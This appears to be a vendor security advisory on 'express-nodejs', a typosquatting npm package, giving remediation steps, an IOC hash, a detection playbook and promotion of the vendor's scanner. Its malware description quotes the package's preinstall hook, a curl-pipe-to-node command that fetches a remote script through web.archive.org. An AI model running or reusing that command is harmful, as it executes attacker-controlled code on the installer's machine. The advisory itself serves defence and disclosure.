Which versions of express-nodejs are malicious?

The following npm versions of express-nodejs are flagged malicious: 5.2.1. Treat any of these as compromised.

How do I remediate express-nodejs if I installed it?

express-nodejs is a typosquat — you almost certainly intended a legitimately-named package. Remove express-nodejs, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed express-nodejs — how do I know if it already compromised me?

If express-nodejs was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is express-nodejs part of a known attack campaign?

Yes — express-nodejs is associated with the IN-MAL-2026-020631 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find express-nodejs across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for express-nodejs (version 5.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging express-nodejs across your stack and pipelines.

Malicious package

express-nodejsnpm

express-nodejs is a confirmed malicious npm package (MAL-2026-17243) that typosquats a legitimate package to trick installs (malicious version 5.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in express-nodejs (npm)

MAL-2026-17243

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall express-nodejs

What this malware does

[email protected] typosquats the express framework: package.json copies express's description, author (TJ Holowaychuk), repository (expressjs/express), and homepage while publishing under a different name. The package.json preinstall lifecycle hook runs curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node, piping a script fetched from an unrelated third-party Codeberg account (hellscripter/install-scripts) on a mutable branch, laundered through web.archive.org, directly into the node interpreter on the installer's host. This executes arbitrary attacker-controlled code at npm install time with no pinning, no integrity check, and no relationship to the express project. The fetched payload is mutable and its contents are not shipped in the tarball.

Malicious versions

1 flagged

5.2.1

Indicators of compromise (SHA-256)

9aea7dd76028cd443cf2f8d58fa5d8b3b28bb6db870f34d1cc6dad28db92fe93

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for express-nodejs (version 5.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging express-nodejs across your stack and pipelines.
If you installed it — respond
express-nodejs is a typosquat — you almost certainly intended a legitimately-named package. Remove express-nodejs, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If express-nodejs was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks express-nodejs before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. express-nodejs on npm has been identified as a malicious package (version 5.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020631

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks express-nodejs-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database